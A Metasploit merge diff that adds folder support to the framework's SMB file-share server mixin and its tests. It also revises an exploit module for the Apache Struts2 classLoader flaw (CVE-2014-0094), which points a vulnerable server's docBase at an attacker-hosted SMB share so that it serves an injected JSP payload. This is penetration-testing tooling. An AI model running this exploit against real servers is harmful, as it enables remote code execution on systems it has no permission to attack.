Merge pull request #6 from jvazquez-r7/final_3323_folder_support
Add support for a folder and update module. Thanks @jvazquez-r7 - yeah I was using an older version of my code for the exploit (whoops - long day...). Landed. I'll look at merging this with the existing exploit over the weekend.bug/bundler_fix
commit
fef8b89001
|
@ -175,10 +175,9 @@ module Msf
|
|||
# @!attribute share
|
||||
# @return [String] The share portion of the provided UNC.
|
||||
attr_accessor :share
|
||||
# @!attribute path_name
|
||||
# @!attribute folder_name
|
||||
# @return [String] The folder where the provided file lives.
|
||||
# @note UNSUPPORTED
|
||||
attr_accessor :path_name
|
||||
attr_accessor :folder_name
|
||||
# @!attribute file_name
|
||||
# @return [String] The file name of the provided UNC.
|
||||
attr_accessor :file_name
|
||||
|
@ -199,6 +198,7 @@ module Msf
|
|||
[
|
||||
OptString.new('SHARE', [ false, 'Share (Default Random)']),
|
||||
OptString.new('FILE_NAME', [ false, 'File name to share (Default Random)']),
|
||||
OptString.new('FOLDER_NAME', [ false, 'Folder name to share (Default none)']),
|
||||
OptPath.new('FILE_CONTENTS', [ false, 'File contents (Default Random)'])
|
||||
], Msf::Exploit::Remote::SMB::Server::Share)
|
||||
end
|
||||
|
@ -207,7 +207,7 @@ module Msf
|
|||
def setup
|
||||
super
|
||||
|
||||
self.path_name = '\\' # TODO: Add subdirectories support
|
||||
self.folder_name = datastore['FOLDER_NAME']
|
||||
self.share = datastore['SHARE'] || Rex::Text.rand_text_alpha(4 + rand(3))
|
||||
self.file_name = datastore['FILE_NAME'] || Rex::Text.rand_text_alpha(4 + rand(3))
|
||||
|
||||
|
@ -224,7 +224,13 @@ module Msf
|
|||
|
||||
# Builds the UNC Name for the shared file
|
||||
def unc
|
||||
"\\\\#{srvhost}\\#{share}\\#{file_name}"
|
||||
if folder_name
|
||||
path = "\\\\#{srvhost}\\#{share}\\#{folder_name}\\#{file_name}"
|
||||
else
|
||||
path = "\\\\#{srvhost}\\#{share}\\#{file_name}"
|
||||
end
|
||||
|
||||
path
|
||||
end
|
||||
|
||||
# Builds the server address.
|
||||
|
|
|
@ -32,7 +32,12 @@ module Msf
|
|||
attribs = CONST::SMB_EXT_FILE_ATTR_NORMAL
|
||||
eof = file_contents.length
|
||||
is_dir = 0
|
||||
elsif payload.eql?(path_name.downcase)
|
||||
elsif folder_name && payload.ends_with?(folder_name.downcase)
|
||||
fid = smb[:dir_id].to_i
|
||||
attribs = CONST::SMB_EXT_FILE_ATTR_DIRECTORY
|
||||
eof = 0
|
||||
is_dir = 1
|
||||
elsif payload == "\\"
|
||||
fid = smb[:dir_id].to_i
|
||||
attribs = CONST::SMB_EXT_FILE_ATTR_DIRECTORY
|
||||
eof = 0
|
||||
|
|
|
@ -87,8 +87,8 @@ module Msf
|
|||
def smb_expand(path)
|
||||
search_path = path.gsub(/<\./, '*.') # manage wildcards
|
||||
extension = File.extname(file_name)
|
||||
if search_path == "#{path_name}*#{extension}"
|
||||
search_path = "#{path_name}#{file_name}"
|
||||
if search_path =~ /\\\*#{extension}$/
|
||||
search_path.gsub!(/\\\*#{extension}$/, "\\#{file_name}")
|
||||
end
|
||||
|
||||
search_path
|
||||
|
|
|
@ -21,8 +21,15 @@ module Msf
|
|||
alloc = 1048576 # Allocation Size = 1048576 || 1Mb
|
||||
attrib = CONST::SMB_EXT_FILE_ATTR_NORMAL
|
||||
search = 1
|
||||
elsif path && path == path_name.downcase
|
||||
data = Rex::Text.to_unicode(path_name)
|
||||
elsif path && folder_name && path.ends_with?(folder_name.downcase)
|
||||
data = Rex::Text.to_unicode(path)
|
||||
length = 0
|
||||
ea = 0x21
|
||||
alloc = 0 # 0Mb
|
||||
attrib = CONST::SMB_EXT_FILE_ATTR_DIRECTORY
|
||||
search = 0x100
|
||||
elsif path && path == "\\"
|
||||
data = Rex::Text.to_unicode(path)
|
||||
length = 0
|
||||
ea = 0x21
|
||||
alloc = 0 # 0Mb
|
||||
|
@ -52,8 +59,10 @@ module Msf
|
|||
def smb_cmd_find_file_names_info(c, path)
|
||||
if path && path.include?(file_name.downcase)
|
||||
data = Rex::Text.to_unicode(file_name)
|
||||
elsif path && path == path_name.downcase
|
||||
data = Rex::Text.to_unicode(path_name)
|
||||
elsif path && folder_name && path.ends_with?(folder_name.downcase)
|
||||
data = Rex::Text.to_unicode(path)
|
||||
elsif path && path == "\\"
|
||||
data = Rex::Text.to_unicode(path)
|
||||
else
|
||||
return smb_error(CONST::SMB_COM_TRANSACTION2, c, CONST::SMB_STATUS_NO_SUCH_FILE, true)
|
||||
end
|
||||
|
@ -68,6 +77,7 @@ module Msf
|
|||
# @param path [String] The path which the client is requesting info from.
|
||||
# @return [Fixnum] The number of bytes returned to the client as response.
|
||||
def smb_cmd_find_file_full_directory_info(c, path)
|
||||
|
||||
if path && path.include?(file_name.downcase)
|
||||
data = Rex::Text.to_unicode(file_name)
|
||||
length = file_contents.length
|
||||
|
@ -75,8 +85,15 @@ module Msf
|
|||
alloc = 1048576 # Allocation Size = 1048576 || 1Mb
|
||||
attrib = CONST::SMB_EXT_FILE_ATTR_NORMAL # File
|
||||
search = 0x100
|
||||
elsif path && path == path_name.downcase
|
||||
data = Rex::Text.to_unicode(path_name)
|
||||
elsif path && folder_name && path.ends_with?(folder_name.downcase)
|
||||
data = Rex::Text.to_unicode(path)
|
||||
length = 0
|
||||
ea = 0x21
|
||||
alloc = 0 # 0Mb
|
||||
attrib = CONST::SMB_EXT_FILE_ATTR_DIRECTORY
|
||||
search = 1
|
||||
elsif path && path == "\\"
|
||||
data = Rex::Text.to_unicode(path)
|
||||
length = 0
|
||||
ea = 0x21
|
||||
alloc = 0 # 0Mb
|
||||
|
|
|
@ -48,15 +48,12 @@ module Msf
|
|||
# @param c [Socket] The client sending the request.
|
||||
# @param path [String] The path which the client is requesting info from.
|
||||
# @return [Fixnum] The number of bytes returned to the client as response.
|
||||
# @todo Delete elsif comment if testing proofs it as unnecessary
|
||||
def smb_cmd_trans_query_path_info_basic(c, path)
|
||||
if path && path.ends_with?(file_name.downcase)
|
||||
attrib = CONST::SMB_EXT_FILE_ATTR_NORMAL
|
||||
#elsif path && path.ends_with?(file_name + '.Local')
|
||||
#attrib = CONST::SMB_EXT_FILE_ATTR_NORMAL
|
||||
elsif path && path == path_name.downcase
|
||||
elsif path && folder_name && path.ends_with?(folder_name.downcase)
|
||||
attrib = CONST::SMB_EXT_FILE_ATTR_DIRECTORY
|
||||
elsif path.nil? || path.empty? || path == "\x00" # empty path
|
||||
elsif path.nil? || path.empty? || path == "\x00" || path == "\\" # empty path
|
||||
attrib = CONST::SMB_EXT_FILE_ATTR_DIRECTORY
|
||||
else
|
||||
return smb_error(CONST::SMB_COM_TRANSACTION2, c, CONST::SMB_STATUS_OBJECT_NAME_NOT_FOUND, true)
|
||||
|
@ -74,9 +71,9 @@ module Msf
|
|||
def smb_cmd_trans_query_path_info_standard(c, path)
|
||||
if path && path.include?(file_name.downcase)
|
||||
attrib = 0 # File attributes => file
|
||||
elsif path && path == path_name.downcase
|
||||
elsif path && folder_name && path.ends_with?(folder_name.downcase)
|
||||
attrib = 1 # File attributes => directory
|
||||
elsif path.nil? || path.empty? || path == "\x00" # empty path
|
||||
elsif path.nil? || path.empty? || path == "\x00" || path == "\\" # empty path
|
||||
attrib = 1 # File attributes => directory
|
||||
else
|
||||
return smb_error(CONST::SMB_COM_TRANSACTION2, c, CONST::SMB_STATUS_OBJECT_NAME_NOT_FOUND, true)
|
||||
|
@ -101,9 +98,9 @@ module Msf
|
|||
|
||||
if path && path.include?(file_name.downcase)
|
||||
attrib = CONST::SMB_EXT_FILE_ATTR_NORMAL
|
||||
elsif path && path == path_name.downcase
|
||||
elsif path && folder_name && path.ends_with?(folder_name.downcase)
|
||||
attrib = CONST::SMB_EXT_FILE_ATTR_DIRECTORY
|
||||
elsif path.nil? || path.empty? || path == "\x00" # empty path
|
||||
elsif path.nil? || path.empty? || path == "\x00" || path == "\\" # empty path
|
||||
attrib = CONST::SMB_EXT_FILE_ATTR_DIRECTORY
|
||||
else
|
||||
return smb_error(CONST::SMB_COM_TRANSACTION2, c, CONST::SMB_STATUS_OBJECT_NAME_NOT_FOUND, true)
|
||||
|
|
|
@ -64,6 +64,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
OptString.new('FILE_NAME', [ false, 'SCR File name to share', 'msf.scr'])
|
||||
], self.class)
|
||||
|
||||
deregister_options('FOLDER_NAME')
|
||||
deregister_options('FILE_CONTENTS')
|
||||
end
|
||||
|
||||
|
|
|
@ -1,5 +1,5 @@
|
|||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
|
@ -13,84 +13,84 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => 'Struts JSP Injection over HTTP',
|
||||
'Name' => 'Struts JSP Injection Over HTTP',
|
||||
'Description' => %q{
|
||||
This module exploits the classLoader Apache Struts2
|
||||
vulnerability to inject a JSP shell over SMB.
|
||||
This module exploits the classLoader Apache Struts2 vulnerability
|
||||
to inject a JSP shell over SMB.
|
||||
},
|
||||
'Author' => [
|
||||
'Matthew Hall <hallm@sec-1.com>',
|
||||
],
|
||||
'Author' =>
|
||||
[
|
||||
'Matthew Hall <hallm@sec-1.com>'
|
||||
],
|
||||
'DisclosureDate' => 'May 1 2014',
|
||||
'Platform' => 'win',
|
||||
'Privileged' => true,
|
||||
'References' =>
|
||||
[
|
||||
[ 'URL', 'http://www.sec-1.com/blog/'],
|
||||
[ 'CVE', '2014-0094' ],
|
||||
['CVE', '2014-0094']
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'EXITFUNC' => 'process',
|
||||
'DisablePayloadHandler' => 'false',
|
||||
'EXITFUNC' => 'process'
|
||||
},
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 2048,
|
||||
'DisableNops' => true
|
||||
},
|
||||
'Privileged' => true,
|
||||
'Arch' => ARCH_JAVA,
|
||||
'Platform' => [ 'win' ],
|
||||
'Platform' => 'win',
|
||||
'Stance' => Msf::Exploit::Stance::Aggressive,
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Java Universal',
|
||||
{
|
||||
'Arch' => ARCH_JAVA,
|
||||
'Platform' => ['win','linux']
|
||||
},
|
||||
]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
))
|
||||
register_options(
|
||||
[
|
||||
OptString.new('URI', [true, 'Path to vulnerable Struts action file', '/struts2-showcase/showcase.action', true ]),
|
||||
OptString.new('FILE_NAME', [ true, 'A static JSP name (ie. "/example/HelloWorld.jsp")', 'showcase.jsp']),
|
||||
Opt::RPORT(8080)
|
||||
], self.class)
|
||||
deregister_options('FILE_CONTENTS')
|
||||
['Java Universal', {}]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('TARGETURI', [true, 'Path to vulnerable Struts action file', '/struts2-blank/example/HelloWorld.action']),
|
||||
OptString.new('FILE_NAME', [ true, 'A static JSP name', 'HelloWorld.jsp']),
|
||||
OptString.new('FOLDER_NAME', [ true, 'A static Folder', 'example']),
|
||||
OptString.new('SHARE', [ true, 'Share', 'share']),
|
||||
OptInt.new('SMB_DELAY', [true, 'Time that the SMB Server will wait for the payload request', 10]),
|
||||
Opt::RPORT(8080)
|
||||
], self.class)
|
||||
|
||||
deregister_options('FILE_CONTENTS')
|
||||
end
|
||||
|
||||
def check
|
||||
uri = datastore['URI'] + '?Class.classLoader.resources.dirContext.cacheObjectMaxSize=x'
|
||||
res = send_request_raw({'uri'=>uri})
|
||||
|
||||
if res and res.body =~ /No result defined for action/
|
||||
if res and res.body =~ /No result defined for action/
|
||||
return Exploit::CheckCode::Vulnerable
|
||||
else
|
||||
return Exploit::CheckCode::Unknown
|
||||
end
|
||||
end
|
||||
|
||||
def primer
|
||||
self.file_contents = payload.encoded
|
||||
def primer
|
||||
self.file_contents = payload.encoded
|
||||
print_status("File available on #{unc}...")
|
||||
share = "#{unc}"
|
||||
sploit = datastore['URI']
|
||||
share = share.gsub(/\\/, '/')
|
||||
#sploit << '?class.classLoader.resources.dirContext.docBase='
|
||||
|
||||
sploit = target_uri.to_s
|
||||
sploit << '?Class.classLoader.resources.dirContext.docBase='
|
||||
#sploit << '?Class.classLoader.resources.context.effectiveMajorVersion='
|
||||
#sploit << "?class['classLoader']['resources']['dirContext']['docBase']="
|
||||
sploit << share
|
||||
sploit << "\\\\#{srvhost}\\#{share}"
|
||||
print_status("Injecting JSP to #{datastore['RHOST']}:#{datastore['RPORT']} - #{sploit}")
|
||||
|
||||
res = send_request_raw({
|
||||
send_request_raw({
|
||||
'method' => 'GET',
|
||||
'uri' => sploit
|
||||
}, 30)
|
||||
end
|
||||
|
||||
# Wait 30 seconds for session to be created
|
||||
1.upto(30) do
|
||||
break if session_created?
|
||||
sleep(1)
|
||||
def exploit
|
||||
begin
|
||||
Timeout.timeout(datastore['SMB_DELAY']) {super}
|
||||
rescue Timeout::Error
|
||||
# do nothing... just finish exploit and stop smb server...
|
||||
end
|
||||
disconnect
|
||||
end
|
||||
end
|
||||
|
|
|
@ -61,6 +61,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
OptInt.new('SMB_DELAY', [true, 'Time that the SMB Server will wait for the payload request', 15])
|
||||
], self.class)
|
||||
|
||||
deregister_options('FOLDER_NAME')
|
||||
deregister_options('FILE_CONTENTS')
|
||||
end
|
||||
|
||||
|
|
|
@ -79,7 +79,6 @@ describe Msf::Exploit::Remote::SMB::Server::Share do
|
|||
mod.lo = 0
|
||||
mod.hi = 0
|
||||
mod.share = 'test'
|
||||
mod.path_name = "\\"
|
||||
mod.file_name = 'false.exe'
|
||||
mod.file_contents = 'metasploit'
|
||||
|
||||
|
|
|
@ -67,7 +67,6 @@ describe Msf::Exploit::Remote::SMB::Server::Share do
|
|||
mod.lo = 0
|
||||
mod.hi = 0
|
||||
mod.share = 'test'
|
||||
mod.path_name = "\\"
|
||||
mod.file_name = 'false.exe'
|
||||
mod.file_contents = 'metasploit'
|
||||
|
||||
|
|
|
@ -78,7 +78,6 @@ describe Msf::Exploit::Remote::SMB::Server::Share do
|
|||
mod.lo = 0
|
||||
mod.hi = 0
|
||||
mod.share = 'test'
|
||||
mod.path_name = "\\"
|
||||
mod.file_name = 'false.exe'
|
||||
mod.file_contents = 'metasploit'
|
||||
|
||||
|
|
|
@ -36,7 +36,6 @@ describe Msf::Exploit::Remote::SMB::Server::Share do
|
|||
mod.lo = 0
|
||||
mod.hi = 0
|
||||
mod.share = 'test'
|
||||
mod.path_name = "\\"
|
||||
mod.file_name = 'test.exe'
|
||||
mod.file_contents = 'metasploit'
|
||||
|
||||
|
|
|
@ -35,7 +35,6 @@ describe Msf::Exploit::Remote::SMB::Server::Share do
|
|||
mod.lo = 0
|
||||
mod.hi = 0
|
||||
mod.share = 'test'
|
||||
mod.path_name = "\\"
|
||||
mod.file_name = 'test.exe'
|
||||
mod.file_contents = 'metasploit'
|
||||
|
||||
|
|
|
@ -48,7 +48,6 @@ describe Msf::Exploit::Remote::SMB::Server::Share do
|
|||
mod.lo = 0
|
||||
mod.hi = 0
|
||||
mod.share = 'test'
|
||||
mod.path_name = "\\"
|
||||
mod.file_name = 'test.exe'
|
||||
mod.file_contents = 'metasploit'
|
||||
|
||||
|
|
|
@ -78,7 +78,6 @@ describe Msf::Exploit::Remote::SMB::Server::Share do
|
|||
mod.lo = 0
|
||||
mod.hi = 0
|
||||
mod.share = 'test'
|
||||
mod.path_name = "\\"
|
||||
mod.file_name = 'test.exe'
|
||||
mod.file_contents = 'metasploit'
|
||||
|
||||
|
|
|
@ -84,7 +84,6 @@ describe Msf::Exploit::Remote::SMB::Server::Share do
|
|||
mod.lo = 0
|
||||
mod.hi = 0
|
||||
mod.share = 'test'
|
||||
mod.path_name = "\\"
|
||||
mod.file_name = 'test.exe'
|
||||
mod.file_contents = 'metasploit'
|
||||
|
||||
|
@ -198,7 +197,7 @@ describe Msf::Exploit::Remote::SMB::Server::Share do
|
|||
smb_data = Rex::Proto::SMB::Constants::SMB_FIND_FILE_BOTH_DIRECTORY_INFO_HDR.make_struct
|
||||
smb_data.from_s(data)
|
||||
|
||||
expect(smb_data.v['FileName']).to eq(Rex::Text.to_unicode(mod.path_name))
|
||||
expect(smb_data.v['FileName']).to eq(Rex::Text.to_unicode(folder_path))
|
||||
end
|
||||
end
|
||||
end
|
||||
|
@ -263,7 +262,7 @@ describe Msf::Exploit::Remote::SMB::Server::Share do
|
|||
smb_data = Rex::Proto::SMB::Constants::SMB_FIND_FILE_NAMES_INFO_HDR.make_struct
|
||||
smb_data.from_s(data)
|
||||
|
||||
expect(smb_data.v['FileName']).to eq(Rex::Text.to_unicode(mod.path_name))
|
||||
expect(smb_data.v['FileName']).to eq(Rex::Text.to_unicode(folder_path))
|
||||
end
|
||||
end
|
||||
end
|
||||
|
@ -328,7 +327,7 @@ describe Msf::Exploit::Remote::SMB::Server::Share do
|
|||
smb_data = Rex::Proto::SMB::Constants::SMB_FIND_FILE_FULL_DIRECTORY_INFO_HDR.make_struct
|
||||
smb_data.from_s(data)
|
||||
|
||||
expect(smb_data.v['FileName']).to eq(Rex::Text.to_unicode(mod.path_name))
|
||||
expect(smb_data.v['FileName']).to eq(Rex::Text.to_unicode(folder_path))
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -79,7 +79,6 @@ describe Msf::Exploit::Remote::SMB::Server::Share do
|
|||
mod.lo = 0
|
||||
mod.hi = 0
|
||||
mod.share = 'test'
|
||||
mod.path_name = "\\"
|
||||
mod.file_name = 'test.exe'
|
||||
mod.file_contents = 'metasploit'
|
||||
|
||||
|
|
Loading…
Reference in New Issue